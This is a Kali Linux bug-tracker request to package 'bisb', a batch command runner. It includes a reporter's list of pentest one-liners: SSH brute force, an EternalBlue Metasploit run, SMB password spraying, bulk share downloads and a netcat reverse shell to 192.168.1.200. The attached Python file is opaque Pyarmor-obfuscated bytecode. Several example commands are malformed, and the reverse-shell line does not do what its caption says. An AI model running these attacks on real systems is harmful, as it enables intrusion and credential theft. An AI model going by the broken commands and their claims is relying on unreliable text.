View Issue Details

IDProjectCategoryView StatusLast Update
0008822Kali LinuxNew Tool Requestspublic2024-09-10 06:37
Reportergteksd Assigned To 
PrioritynormalSeverityminorReproducibilityhave not tried
Status newResolutionreopened 
Summary0008822: bisb - (Batch is Better) A tool to streamline batch processing tasks in the command line.
Description

[Name]
bisb (Batch is Better)

[Version]
1.0

[Homepage]
https://github.com/GTekSD/Batch-is-Better

[Download]
bisb Release v1.0 https://github.com/GTekSD/Batch-is-Better/releases/tag/Stable

[Author]
Сухас Дхолз | Suhas Dhole | GTekSD

[License]
MIT License

[Description]
bisb (Batch is Better) is a command-line tool designed to simplify and streamline batch processing tasks. It allows users to execute commands from file lists effortlessly, providing an interactive and stylish interface with 15 preloaded examples for various use cases. bisb aims to make batch processing more efficient and user-friendly.

Here are a few examples of how this tool can be used in practical scenarios:

Example 1: System Administration

Suppose you have a list of administrative commands that need to be executed on multiple servers or files:

$ ./your_script.sh "sudo systemctl restart service" server_list.txt

Where server_list.txt contains a list of server names or IP addresses. This command would restart the specified service on each server listed in server_list.txt.

Example 2: Data Processing

Imagine you have a set of data files that need to undergo a series of processing steps:

$ ./your_script.sh "python process_data.py" data_files.txt

Here, process_data.py is a Python script that processes each file listed in data_files.txt.

Example 3: Configuration Management

For managing configurations across multiple environments:

$ ./your_script.sh "ansible-playbook deploy.yml" environments.txt

Where deploy.yml is an Ansible playbook and environments.txt lists different environments (e.g., dev, staging, prod). This command would deploy the playbook on each environment.

Example 4: File Management

To perform file operations across a set of files:

$ ./your_script.sh "mv" files_to_move.txt

Where files_to_move.txt contains paths of files to move to a specified directory.

Example 5: Testing and Validation

For testing and validation tasks:

$ ./your_script.sh "pytest --verbose" test_cases.txt

Where test_cases.txt lists different test cases to execute using pytest.

Example 6: Script Execution on Remote Machines

To execute scripts or commands on remote machines:

$ ./your_script.sh "ssh user@hostname 'bash -s'" remote_commands.txt

Where remote_commands.txt contains commands to be executed remotely on hostname as user.

These examples illustrate how your script can be versatile in automating various tasks, from system administration to data processing and testing. It provides a structured approach to executing commands or scripts across multiple inputs, enhancing efficiency and reducing manual effort.

[Dependencies]

  • Bash shell
  • Basic Unix utilities (e.g., grep, awk)

[Similar Tools]

  • xargs: Executes commands from standard input
  • parallel: Runs jobs in parallel using one or more computers

[Activity]
The project started in 2024 and is actively maintained and deployed. The latest release (v1.0) was published recently.

[How to Install]
Download the latest release from the GitHub Releases page, and copy the bisb executable to /usr/bin:

sudo cp bisb /usr/bin/

[How to Use]

  • Usage: bisb <command> <filename.txt>
  • Example: bisb "sudo systemctl restart service" server_list.txt

For more detailed examples and usage instructions, refer to the --help flag:

bisb --help

[Packaged]
No, bisb is not yet packaged for Debian.

Attached Files
BisB.sh (20,992 bytes)

Activities

g0tmi1k

g0tmi1k

2024-08-02 14:35

administrator   ~0019583

Thanks for the tool suggestion, but we are struggling to see a use-case where this would be useful during a pentest.

Closing it until there is examples/guides on how it could be used.

g0tmi1k

g0tmi1k

2024-08-02 14:35

administrator   ~0019584

Not sure if this is trying to be an alt to pssh

gteksd

gteksd

2024-08-05 11:31

reporter   ~0019613

Last edited: 2024-09-10 06:07

To demonstrate how bisb (Batch is Better) can be highly useful in a pentesting scenario, here are 10 critical examples that simplify complex tasks:

1. Automated Vulnerability Scanning

$ bisb "nmap -sV --script vuln" target_list_with_ports.txt

  • This command runs a vulnerability scanning on specific ports on multiple targets, this is the quickest way to complete a full scan.
  • List.txt should be in this format:
    192.168.1.100 -p 8080
    192.168.1.200 -p 1433

2. Brute Force Attack

$ bisb "hydra -L usernames.txt -P passwords.txt ssh://192.168.1.100" servers.txt
  • Automates brute force attacks on multiple SSH servers, saving time and effort.

3. Automated Exploit Execution

$ bisb "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS' $line; run" targets.txt
  • Automatically runs the EternalBlue exploit on a list of vulnerable targets.

4. Mass Password Spraying

$ bisb "crackmapexec smb $line -u users.txt -p password123" targets.txt
  • Executes password spraying across multiple SMB servers, helping identify weak passwords.

5. File Enumeration and Extraction

$ bisb "smbclient //$line/shared -c 'prompt OFF; recurse ON; mget *'" smb_servers.txt
  • Recursively downloads files from shared folders on multiple SMB servers.

6. Batch Web Application Testing

$ bisb "nikto -h $line" web_targets.txt
  • Runs Nikto web server vulnerability scans on a list of web applications.

7. Automated Directory Bruteforcing

$ bisb "dirb http://$line /usr/share/wordlists/dirb/common.txt" web_targets.txt
  • Uses Dirb to brute force directories on multiple web applications, revealing hidden paths.

8. SQL Injection Testing

$ bisb "sqlmap -u http://$line --batch" sql_targets.txt
  • Automates SQL injection testing across various web applications.

9. Network Reconnaissance

$ bisb "netdiscover -i eth0 -r $line/24" subnets.txt
  • Discovers live hosts within multiple subnets, crucial for network mapping.

10. Automated Reverse Shell Deployment

$ bisb "nc -e /bin/sh 192.168.1.200 4444" target_list.txt
  • Establishes reverse shells on multiple targets for remote control.

Summary

These examples show how bisb (Batch is Better) can automate repetitive and critical tasks during a pentest, making the process more efficient and less error-prone. It saves time, increases productivity, and ensures comprehensive coverage across multiple targets.

gteksd

gteksd

2024-09-10 06:37

reporter   ~0019729

To demonstrate how bisb (Batch is Better) can be highly useful in a pentesting scenario, here are 10 critical examples that simplify complex tasks:

1. Automated Vulnerability Scanning

$ bisb "nmap -sV --script vuln" target_list_with_ports.txt

  • This command runs a vulnerability scanning on specific ports on multiple targets, this is the quickest way to complete a full scan.
  • List.txt should be in this format:
    192.168.1.100 -p 8080
    192.168.1.200 -p 1433

2. Brute Force Attack

$ bisb "hydra -L usernames.txt -P passwords.txt ssh://192.168.1.100" servers.txt

  • Automates brute force attacks on multiple SSH servers, saving time and effort.

3. Automated Exploit Execution

$ bisb "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS' $line; run" targets.txt

  • Automatically runs the EternalBlue exploit on a list of vulnerable targets.

4. Mass Password Spraying

$ bisb "crackmapexec smb $line -u users.txt -p password123" targets.txt

  • Executes password spraying across multiple SMB servers, helping identify weak passwords.

5. File Enumeration and Extraction

$ bisb "smbclient //$line/shared -c 'prompt OFF; recurse ON; mget *'" smb_servers.txt

  • Recursively downloads files from shared folders on multiple SMB servers.

6. Batch Web Application Testing

$ bisb "nikto -h $line" web_targets.txt

  • Runs Nikto web server vulnerability scans on a list of web applications.

7. Automated Directory Bruteforcing

$ bisb "dirb http://$line /usr/share/wordlists/dirb/common.txt" web_targets.txt

  • Uses Dirb to brute force directories on multiple web applications, revealing hidden paths.

8. SQL Injection Testing

$ bisb "sqlmap -u http://$line --batch" sql_targets.txt

  • Automates SQL injection testing across various web applications.

9. Network Reconnaissance

$ bisb "netdiscover -i eth0 -r $line/24" subnets.txt

  • Discovers live hosts within multiple subnets, crucial for network mapping.

10. Automated Reverse Shell Deployment

$ bisb "nc -e /bin/sh 192.168.1.200 4444" target_list.txt

  • Establishes reverse shells on multiple targets for remote control.

Summary

These examples show how bisb (Batch is Better) can automate repetitive and critical tasks during a pentest, making the process more efficient and less error-prone. It saves time, increases productivity, and ensures comprehensive coverage across multiple targets.

BisB.py (27,247 bytes)   
#!/usr/bin/env python3
# Pyarmor 8.5.10 (trial), 000000, non-profits, 2024-07-16T00:34:42.789052
from pyarmor_runtime_000000 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY000000\x00\x03\x0b\x00\xa7\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00c$\x00\x00\x12\t\x04\x00\xca\xf7\xfa?\x8e\xc3L?D\xf9\x94\x1e\x82\xf9t\xeb\x00\x00\x00\x00\x00\x00\x00\x00\xa38P\x0e\xc7\x00F\x18\x02F_\x8d~I\xa8:2\x8d\x9fP\x164\xf6\xcb\xb9\xc9\xe4\xcb\x90\xa5\x11\xe7\xd1\x0e\x90\xcc\xdc\xa7\xc8\x9f\xbb@\x8c\x96,\x90\xe9\xa5M 7[(\xbe\x15\xfc\xb8\x88\xc0W\x87\xdc(\xc5\xa0\x8d\xd6\xd89\x02TDl\x00\xe3\xbf\x01\xa3\xce\x04|%E\xa7\xa2\x02\x94\x8a\xe24\xdf-\x02]\xe4f\xba\xb7>C\x97\x82Q\xe7\xffaa\xa7A\xb26H\xec\r\xe50L\x9d\x1d?\xd4\t\xb1P\xa2\xf2}\x90\x82y;v\xd7\xc0\x1a\xf3\xeb\xa3\x7f_|\xb0\xd0]\r3\xa5\x11\x819\x1d\x91pe#\xc2P\xbe\xb7D\x9e\x12|U\x05\xb6\xdatzc\xc2\xa5^\x98 H8twAb\x0e\xdeFM\x9d\xab\xd8\n9rj\xd0\x00\x85\xa8\xfcIf\xa5\x80ji\x03\x9e\xd8\xa4\x0c\x1el)\xf3\xfd\xd4Z\x89\xdd\xad;\xaa\x9b[\x96\xc7\x10)\'p\x11\x82\xeb\xce)o\xd8\x85\xc4\xc5 c\xd2t\xde\xe98\xa5\x8c\xe2HW\xbdY.Y\xd8\xcd\xec\xff\xba\xafn<C\xb8\xad\xbd\xbe\xc7\xd0bEMs#\xa2& 47\xb3\xf5\xfb,\x1a\xa7p\x08Xp\xb6Pg\xe3\x12_\x89\x855\x8b;\xc9\xd7\'q\x01\xa1\x82W\x07\xec\xb7\xd4\xe39y\x17\xc2\x06\x88\xec\xf7\x0b\xc07L\xda\x00l\xbf\xf1\xd8\xf5\xc2\xdb\xf5\x9f/?\x7f\xd3\x0e\x01l\xe5\xf0\xafl^\x06]3\x8aqK\x1d`\xac\x1dT\xdf\xfa\x99\x98\xd5\x99\xbb\xadgd\r\x86\x139#6L\x9d\xf6\xe1\xc8\xc9\xd3\xa9\xc3@\xd9h:\xa7\xc5\xddv;\x87\xa9\x02s\x87\x8e\xc2\'t\x1b\x8eUb\x1f\xcf=&\xf6\xe0\xef\r\x00y\xb2\xa5\x06a\x95c\x1aRd\xafoi\xee\xce93\x14\xda\x86\xbc4\x9e\\d\xd3S\x01\x9e\x9e>~\x87\x80\xc5$lJ@}\xa46.\xa0\xd2-bO\xaa\x99\xa4\x1c\x169\xc5\x1a\xbb\xcf\x97\xa3\xb6q\xff\x8d\x8d\x89)\xe3\xdb\xda\xf1\xf7\xa6pT0\xd0\x93(\xf4\x9c\rb\xb6\x103\r\x08\xf0\x87\xb6:cyM\xd2i\xe2\x18\x84\xc8\x17\xa4>\x190 e#\xdf\xbbM\x19\xe3\xf2a.\xbe\xef\xe9\x01\xd7\x00\xf9\xa0V\xac6l\xd0\x85\xef\x96\\\x8f\xc6\x8d\xfb\xdc\x92\t\xf7P\x02@\x19\xc5\x16\x82J\xc0\xa4:k{\xa3>\x8e\xc0\x9f\xc1\xdb\xd8\x99!S\xad2\xdb\xc1\x1d\x95\xcb\x01\x06\xf3\x9bN\x04-\xac\x80zi\x04P:\x15\xd9\xd0\x9c\x17\xe2#\x92\xbe\xed\x18\x81\xa9\xc6\xaa\x85\xb3R\xe2\x0c\x0f\\\xc2y>\x88M\xa5\x8d1K2E\x85\xbc\xa9\xf6\x11\xc5E\xb1\xfa\x1b\xadw\xf6\x13\xc0#+\xa2ai\xe5\xe1\xe5\xe2k\x18f\x93\t%5\xde\xb4^\x02\x1e\xd9\x9f\x08\xba\x80\xa1\xf2\x1c\xb8\x87\x89\x9b\xace\x16\x9835\xff\xce\x92\x17\xc3\xb9s\x9b\xd1\xf0Z\xf7|\x18e\xd2]\x84\x10(yq>\xb5f\x81[\xba\x8c\x96\xdf\xb4G)\x8e\xd0E\x07\x8e\x86\xfe!\xaf"\x84\x95\x0b\x00E\'\x05\x83\xb1A\xc1\x9b\xf4Hm\x1f\xae\xdb4\xb8\x03\xd5yk\xef*\x88\xb4\x90\x91\x92\xbb\x80\x8d!_\x0c\xa7\xf2\r\x89\xfaZ\xd45\x05i\xa5\xcfB!\x15\x8d\xc4\x131\xda\xb8:(}\'\xc0\'9\xe5\xe6\xea\x83\xc0bB\xd3\x91\xbcHm;\xbeI!\xf0\x92\xdf*\x1d\xa7V\xc8aGY\x7f\xa2`Y\xa9\x96r\xfb\xf9\x84VRV\x06\x9a\x83\x8fb\x99\x87\x9a\x18F\xf9l\xa2\xba+f\x1c_5*U\xd9\xbd\xad>\xbe\xd8\xae\xed\x03\xa5\xeaA-\xecW\xab\x08%s\x84\x91\x01V]\x00\xd5\xb2V\x93x|\xb6\x88\x02\xa3)\xd9o\xc7\x91\tIU\xb2\xe0\x15\t\xd6\xe5\xe6I\x9f[\xba\xbb"\x14\xd8\xb1\xce*i\xb0\xfa{p\x98\xd3\xbc\x98\xeaj\x15\xb9\x10C.\x0c\xa1#\xef\x08a\x1d|\x00\x80\x8b\x15@H\xc8\x08#\xd0\xe8\xf1YR\x9dA\x11\x87H\xd1\x03\x17,\xe8$\x8b\x96\xfd\xc8\x13O\xe8/\xf6\x9b\xd5h\xb2%\x90\xbe^\xa4\xb1\x8a\xdb\x89\xd9/\x02\x16p\xa0\xa5Z\x94\x85f\xb5(\x95\xd2\xc9\xfdk\x11\xc7\xd1\xe6\x00\xc8\xac\x0ep\xab2\xc6\x9f|06l\x17\x9a\xa0L\xea{\xdeV\x0f\xb1\x8f8w\xc9\xf5\xce\xe4\xc5\xe2:]>\xcc\xd0\xa7\x053KH\x0c\x88\x19+\x9f{p\x02\xfb#I\r\xf0\x02`\xb4\xfd\xbf~\x0e\x19\x17\xb0\x07i\xa5\xde\xf2\x18\x04\xc7\x8c\x03a\x16H\x9c\xb2I\xec\xd2\xe8\xe3\xb0\x01\xcaeV\xc2Ccg\xe7\x13m\x90\x7f\xea\xed\xdcf~\xcb\x05\x02\xc3uP\x84\xdb\xaf%\xc4\x05\x9fg\xe6\x03APP\xc0V\xa2\x88-\xbc\xc7A/\x96\x17r!\xc0\xa8\xfb\xe4\xdb\xdb\x9f9\xdfI\x87\xf5\xd2\xb8\\\xc1A\xcaN\\\x15_\xce\xfd\xd2\xd3\xb1\x08{b\x98\xd0\xb4\xc3r\xe4+z\x92\x94o1\xb4gw\x05\xf6\x13\xe2\x9a=\x08&\xefC\x98\x8a"z\x1f\x18G\x83\x92\xb1\'\x0e\xd1\x0e`?\xcc\x15\xae\tJ\xd8 x\xa5XX\x99\xdeE\x89\x19\xaf \xedbJl!O\xf5\xc6\xce\xa6 \xa27Q\x19\xbd\xac\xe3\xf3\xb9\xc3\x86\x9f\xffV\x82Q>d\xa2\xccvR\x03Q:CC\x94#{\xe8\x17\x05N\xd5\xa0+\xed@\x96\xd5\x8eE\x0c\x8c\x081%\xf6\x08\x9c\x00\xd9JU\xcd\xa8{\xb1\t\xc7\xa6E\xaf\xbfo\xd6.\x10\xf9\x00"\x16\xf4\x16W\x82\xf3\x9dD\xa66aj/=[\xe12\x90I\xd2\x8d\x9e7\xdf,\x1c\x89K\x16\xe5mFf\xff\x84v\xe8\xac&\xca\xcc1H\xd7\r{\x8aD\xff:\x9dej7\xd0\x8fXA\xbd<\x82\x82\xed\xe7\xd5\xf1\xe3R\'\xe9\xbe\x01\xb5\xb3\x14\xfe\xf4\x03p\xc0\xaf\x0b!\x02\xf3\xa5\xc0Q\x02\xae\xe8`-\x08\xd7\xd2\xce\r\xad\xbd\x0eO\xf2e\xbf%*"Y\xd5en8@\x9b\xd5;\x9c\xeb\xea\xe1\x92\x04m\xde\x95\x17\xabA\x92Rv\xf8\x9a\xc7\xd2g\xda\xd2A\x9cF\xe6\xab\xd3{\xef%\xee+\xd0\xf5\xa9jQc\x04\xf1\xb4~\x96fHN\xb4]\xceq\x8b=\xf9\x0bi\x8d\x01HaiFn\xbcO\xa3{\x9b\x17W2\xb5\xec\xf46\xc5\x96{z7*\x1b\x0f\xef\xeb\xd1\xf6\r\x119\x04\xb9\x85M\xf7m\xf39\x95\x8e\x0f8_\x8a\x07\x99Y\x12;\x03\x88/\x7fkww\xee\xdc\xee\xdc\xed\xe4\xb4\xaa\xfd\xe8;B\x83p\xc3N\x08\xd5\xce\xcdHo\xe6\x9bC\r\xa2}]\x00A\xe4\xad\x02\x00\xb4h\xdbl\xc7\xa6\x81\xd1\xc2-\xf0\x01~\xd3\xd0\xad\xe7Qx4/\xf9\x03\x1d\xc9~C^\xce\x84\xdc\xb4\xbe\x1f\xfdA0o8\xe4\xf3z\xb0\x8byM\r\x8fj\x8d\xd8@\xe7]!\x98\x0e\xfa9Q\x02\xd9\x82h\xc6\xb8\xda\xceXQ\x0f-\x87\xbf\x8arX|#\xf2\xc4\x16\xc7\x9c\x9a\xca\xea\\\xd5y\x9a\x08\xd4\x01JT\xa5\x16\xb0\x02\xf9I\xc9\xff\x1a|k\xe2\xfa\xf4\xc7\x05\xe3\xcf\xb0\x1e1\xf4\\5\x07O\xdb`\x9ep\xa0\xa8\x83K\xfc\x92\xe8qN\x85a\x18ok~\xad\xdae\x06\xf9\xf7\x8a"\x89h\xa0^k\xc5\x1b\x9f\x0c:\x00\x86\xda\x0cT\x82\x8b4\x9b=s\xa9\x04Q\x8evFe\xc4\xb98\x0c\x04\xb8\xb4\xcb\xf9\x19\x1bG]\xc4\x89|\x02\x10BV\xeemAY\x90\x80\x13\x1d\xddo>\x0c\xe6\x0b\xa6\xd7\x14 \xd4L\xfc5\x00 \xbdT\xba&I\xeb\xa7\xaeU\xe8\xa0-^\'\xe3Xv\xec!_E\xd4S\xdc\xa8\x15\xbduwp\xc8\x11,\xf4w\xda\xe4\x9f:h\xc9`#\x02\x1d\x15C\xe0a,\xf4\xe7\xde]Lp(\x1d\x05:\xb5c\x98\xf8U\r;\xd9L|\x10\xcfWK\x83%\xde$\x95\xfe+\xc8@g~\xfeh\xd8\xac\x9d\xd0,Y\x85\xf5 \xae\xbahI|o\x93\xa8\xa2\xbdpg\x84\x17z\xd2x\xfc\x02/g\xe6\x99\xbe\xde\x8be\x8b\xf0\x87\xfd\x18\x15"K\x0e\x81d\xb5{\xcd\xb7\x17\x98\x1eL\x95\xad\x9b\x9a\xc8\t\xe3\x8a\x14A&h\xa0\x86\xb1\xb4\xd0<-\xe6\xb61\xb3;\x18\xc3\xa8\xe42\xe9\'\x06\x8e*:\\\xf4\x10\xca\xa0a%1+\x819\xe2j\x80h2C\x01\x16\x14Jkd40\xb0,]^\xbb\xdft\xc6\xfa\x89\x83\x93w6\x13\x81)\x85\xbd\xbes\xe5o\xad\xbd\xc8\xd3\xb2\xf0\x89s>\xd8\xc4\x13\x9d\xc5M\xbd\xc4\xec\x83\xaf\xf9\xd3\xe3~\x88\x7fD\x04\xf4\xe0."\xa7F\xcd\xaeC\xaf\x03{\x8eC\xa4\xfb\'\xd8\x95/\x0e\xfe\x14_\x9b\x1c^(\x12\x9f\x94s1\xd9\xae\x90|\xca\xbd\xd8\xb7\xe5\xe32Z\xbd\xc6\x10u\xf7\x8f\x86v\x90r\x01,\x0f\xa8\x1e\xb4\x94\x9f\xb9C\xbas\x1c\xb8\xa9\xb5,q\'\x10\xc6\x92\xfc\'\xc2\xe7\x17kJ\xa1\x0b\'~\xcd\xa2~\x1a\x9c\x06n\xa1vZ\xa3\xf3\x86\x03U\xd1C\xb0\x1b\x85\xe3\x18\x02P\x9f\x93Dl\xb4\x05\xe1\xae\x1b\xa5\xfcE\x9e/\xc3\x8b=\x89QA\xa1\x9a\xbfE\xed\xc1\xad\x07#\xe5\x02\x9de\x1e\x03k\xc4\x07\x16cr\xff!|\x86U\xe3\xc3\xd0\xfb\xcf\xabR\x1b\xa1rMm\xfd\x89%\xd2\x82\x04Ki^j\x93\xbc\x10~\x95L\x03\xb0\xe8\xf4\xad\xee\x92\x8a=F\xa2\x83&\x1bJs\xa7\xa8\x10Uy\x93*\xde\xd0w\x1b\xbeWrg\xe8\xcbA\x92r\xb2[_\xcb\xf7\x8c\xe2mq\x97\x15\x0b\x87\x84=\xbd,\xfd\xd5\xe0\xfc\xb3\x8bPP\xa2a\x87\xe9]S\xa4\xd5\x96\xff]\xbe\xca#9\x9aO"\xc9\x1d\xf3\xa4\xab\xc5\x9f\xaa\xa0>\xad\x89\xa7\xec$\xd9e\x87\x16\xb4\xbd\xe7\xda \x16\xfd/\x9b\xaeR\x7fR\xd5=\xde\xc9\x92\x1e\xe1I=\'\xb5d8L\x85\\\xb1\x94\x15\xe1\xa13\x8c\xf51\xd3\xbd 5\xfb:\x80\xf67\x84\x9f\x10\xd2\'\x841\x11\n\x05P\x03\x9e\xe86\xf0f\xaa\x00r\xa1\x9c\xe9&~`ng\xea\x04\xba\xf2QVN\xd2\x80\xeb&\xbd\t\x0e\xfb\x1b\xaf\xcd\x90\x9f{dO\xb54\xbd\x8a/\xec-A\xc6\xd3y(\x84\xc6\xeb\xc2>\x0f\xc0\x10\xfeh\x80\x06\xa6 \xc96\x02\xe5\xc4\xeaQt\xc4\x80\x18\xf0*\xb4?\xb0d\xbc\xa8\xfc\x8a\xe7\xe4\xdd\x18\xd39i\xc7\xe51O\xe2^~\xee\\\xa8\x02v\xa1\xa5\xbe$\xa6\xe3\x8c/\x02\x8a\x0b\xbf\x98\x1e\xca\xcb!\x83,z_\x14\xa2\xfeI\xa0\x10\n\x82z\xf1#A\x8b\x985Ju\x91\x9a\x81\xa76\xb7\xf95#\xbcmq+~Iir\xa3\x87\xee4\x82\x97\rB\xd0\xd7\x0c\xb9D,\xb2\xd5\xf6\x83\x8bE;\xe2\n\xb1\x106\xf1\xf51\xc1\x03\x01!\xd3B\xa5\xe3\xf6\x9e\xf1\xafi\xe3hf\xc9\xf3\\\x98\xcb\x062G\x02r@\\e\xfb\xde\x86\x01\xf8\xd4\xdf\x86Vk\xfd]\xe2\x85\x99\xbf\xb0\xc7GO\x92v\xc1\xd0\x81\x1c4NZje*3\xf0{gQ\x00\x12\x94\x1b\x91\xdej\x19\x91\x894\x0e E\xcb\xee\x12 \xa7`H\xe1\x07\xd1l$\x99\xc8U\xeeD\x7f\x88\x12\xe3\xf4\xd0Gw\x8b\x0b\x18\xdcG\x15\xe4j\x94\xf8\x06\x0bS2jL\xf3t\x9c\xd3\x0b\tbs\x15v\xda\x07\xf7\x8e\xb0\xaa\xd1\xc30M-]\xf2\xb6\x07\xcd\x902\xdd{\x1e[\xea\xfeT\xd3\x00\xac\xe1\xc92\t\xbd~\xf11R\xdfI\x1b\x85\xd4\xac\xf0\x9f]\xf56\xa58\r\xad\xcb/\xe8\x99A!\x11\x97Oana\x80\xe9\xda\xb9+C%\xc0\xcc\xb1\x8dO\xd3\xa5`\xe1pR\x94Y=yq;Q!yp\x98\xa66\xdd\xa7\xaa\x95\\,\x0b\x006\xa2\xbe\x1c\x08+>\xbb\xcb\x9e\xfe2\xc8R\xb2;\x18\x99(\x12\x8e\xdd;m\xda\xab\xb1~]\xe3;\x1d\xa7\xae\x17\xcc\xeb32m!c\xca\xc3\xe3r\xd8\xc2\xe2\x1e4BU\x12\xdb\x0flold\xb2\xf6E\x03y+2\xd3q\xe7\x0f\x18\xf8-\xf4\xb2Ry\x05\xeb\xdc\xa9S\xd7\xec\xca\x17\xbf\xd70\x1e\x041\xda*\xdc\t~\xac\xe0GA\x86\xa5q\x7f\xf1\x19\xdd]v$"\x8d\x94\xaa\xb0\xa6\x82l\x85\x8e\xc1o\xf4H\x17\xbe\xaa\xc8\xab\xb9a\xc2\x86j\xa5}\xc9 v\x88\x94\x8a\x1fI\xc6\x11N(\xb7\xd9t\x05k\xb1W8\xc3\xc2\xb5\xc1J0h\x10\xd7\xfe\tQ\'\x87f\xd6\x0e#B\xd3\xe4\x11S\x14\xc0\x90P/1\'\xe6z\xd8s~\x9b(\'~m"\xe1\xd3\x9a\xdd\x01\xb6|\xb5\x1d\xcd\xf3\xcb\xda\xfe\x116\xd2\x8d\xe5X\xac\x86\x12\xa4*//\x07QX\xb63?\xf0Tn7\xfeF\x0f\x9fx\x80\x1a\xea\x15\x81\x1c\xd2\xa8\xeb[\x96\x00\xd3\xfeI\xb1\x87\x1f\x90_8\x84c\xe4\x89#\xa4v\x97\xafQ\x92Yz\xd1\x83\x84\xces\x15\xb3\xf9\r\xc4-\xf6B\xbcv\xf8\x91\x84<m\xa9,\xea0=\xdeJU$\x8b\xf8J\x17\xe6S\xc4\xaci\xed*A\xd47\xde$\x19^\xd9V\xbc\x91V\x85\x80yn\x10\x01\x1c9\xc1\x81K0x\xadS\xfe\x8d?\'7\x92\x10\xe0@\x19\t\xb4\xc2\xaa\xefB\xaaI\xfd{ \xc0\xb4{\xc1\x9c\xaf\x83E\x9e\x9f)\x8d\x8f\x8d\xd8\xd2i\xba\xd0\x93Vb\xf1\x1d*&\x11\xeb\x92\xb4\x92\xffG3$\xdc+c\xd1\x03\xc5\xa4\x9f\tKn^4\xc8\xe2\xddf\x9a\x1f$\x0c\xcf\xe0M\xcdN\n:\x9d\xd6R\xb1\xfb\xe5\xad\x97sd\xf9-\x91O\x19\x92\x168\xc1B\x10\x95\xdb2l\x87[qN\x05v\xa2\x9e\x90\xfef\x0b\xbe\x05\xc4Q\x18\x81\x88\x9f\x96\x83\r\xc8-Q\xcaK\xa9\x1604\xadX\xbb\xbb\xae\x0c\xe5Tb\xd2 \x95 !\xb3\xca\x8d\x85+x\x9c\x8e\x9e\x88w\xda~\xb5y\x14\x9d\x82\xc1\xc0\x08\x9c\xa1d\x96\xa3\xdf\xf9\xd4\x91\x100\xe14}2\xb7\x93e\xcc\xfc m\x07\xbb\n\x08\xc3\x89\xbb1\x8e\x0c(h\x98I\xdd\xd6\xed\xab\x9d,)F+\xceM7\xe3>R\x9e\xceh\x80@\xb2\xd9\xee\xefx:\xe7Vy,\x04\xd9-M7\xbd5\xe0\xe4\x86\xd3\xda\x07E\x98\x15\xbb\xa8w\xd2-v\xd7a?\xd9\x19\xcb\xa2\xd7\xd8x\xf5h\xb9\x85\x8aT\x80^J[\xc5Bj\xec\xfa\xa2X\x04\x9e\xdc\xecA\xc9l\x1af6t\x9e\x8d\x91S\x96\x1d\xdbM\xcb\x82y\x1e9Ge\x85\x07~z\x87\x1asi\xc0\xc5\x95\xf2\xc5\x8c\x95vy\x94\x93\xb8\x97\x92\x00\xf1\x95?\xb9\xc8\xbd\xbb\x15__\xe6O\x9e\\\t\xbc\xeb\x9b\xd6\x0e\x96\x8d\x98x\xf1f\x9b\x15gk#|\xc2\xd1]\xb8P\xb2,\x85\xab\x87M\xce,\xf2d\xc1i\x1f]\x98\x7f\x01\xba\xed\xa9\xdf\x0b\xd0r\xb3\xef?\x8f\xed\\\x08\xba\x17\xbdM\xf0\x15\x9a\x1b\x7f\xc1q\xa2\x05\xb1\x15c\xff\xd1(X\xa8Y\xa4\xc2\xe3\xc2l\xef\x12&T\xe8\xc6\x94\x1a\x86\xec\x1e9Sg;lx9\x868>\xe46F\xfe\x13\xdb\tA\x83\x94\xd1"\xad\x14\x08\x19\xb0\xba\x90\xcb\x81zoO\xfdW\x05\xe7\x0e\xa1l(X5\xdc%\'Dm\'\xfeh\xae\xc7\xb6\\\xb4.\xf5\xa8N\x9c/\xf1\x96\xd6\xe4\xe7\xaf\xc1\x13C\xaar\xa9&\x03\xcc\xd4\xd6:r\xa2L\x98\x05\xb8\xa3\x8c\xd7\xa1=\x19\xd2ZY\xb4\x81\x93\xe96\xf8a$\xa7\x86\xaf\xd0\xc4&\xe4\xaf\xb9\x0c\x98\x84\xc5\x1d\xc3V\x1a\xd3]\x14\x86\xe2\xab\x86\xe9\x13\x00\xc9\xc4T\xc3\xb9\x0b\x8f\xd3\x05]5\xb95+\xd3c\xc45#^\xa7-B\xcc\x82i\xfbT\xac\xdc\xbc\xc6\x89l#\xc2\xff\xc3\x91\x05\xef\x89\x91$\x11\x8e\xd4\x0e\xddKM\xfa\x0e\x1dzf$\xec\x7f\xfe\xd4\xc7\x19\x9e\xe8\xcf\xb0\x18R\xcf\xdf\xb4\xd8\xb7D\xfc\xf3oe!\xc6\xa8Y\xbc7\x82T\x9e\xb6\xdc\x81\x94Uf\xa5\x18\xd9\x12\xcbX.\x0ep\xa2\x94\xd7\xc4\xb6P\x9e\xd8\xdf[;r\xe7\x98\xe6zz\xff%\xf5\x10\xeehVp\xb1\xdf\xbe\x18\xa2\xc9b\xd2\x9d\x00N\xb1c\xe9\xb4\x82\x89\xe9\xd3\xe1\x97\xa9\x90\x86\xbe^\x8aNUE=\xbfR\x1fG\xa9\xe4"(\x9f\x909\x9f?i\xc0L\x81\xe1\x93\xa4n\x1c\xd1\x1e\x11\xe6|E\xcf\xee/c\x01-C\x96)\xa6\x9d8\xfe\xdd\x0b\xd8\xa3\xf4\xc9\\7\xc34\xbc\xa3.\xd7\x85\xcf@0oa\xb5\xa6\xd6\x81\x0c\xf5Y\x83r\x95k!l\xf4\x89s]\xbdpdkO=\x11\x0b]\xea$\xa0\xb0"\xb5\x04[\x02]\xfb\x94T\x87tB%\xde\xef\xc4\x87>\xea&\xd1\xd9\x14y\x15\xe5d\x1b8\xe0\xb9Z\xd4\x90\xda\xb9J?\xf7\x05$\x8e\xa0Q\xa8\xdb\xf50)\x8f\xa9\x1fU@3\xa9\xabj\xf2\xa5d"6\x90\x9f\x85w}\xf9\xa0\xbf!\xf8&\xcf1\x88\x88G\xe0\x03\xc3\x15\x9f\x89\xa2\x89\xf1\xe0\x10\x16*\xacw\xf6\xc1\xed\x84w\xe4\xb9@\xfcV+*\x86\xf1\x07\x00\xd3\x814\xdf\xe9q\x9d\xd6I\xd4:\xa5,\xd6\xa6l|\xa0\x0c(#\xeb\x80\x08@.\xdbX$\xbe\xa7D<\xb9\xf7?= 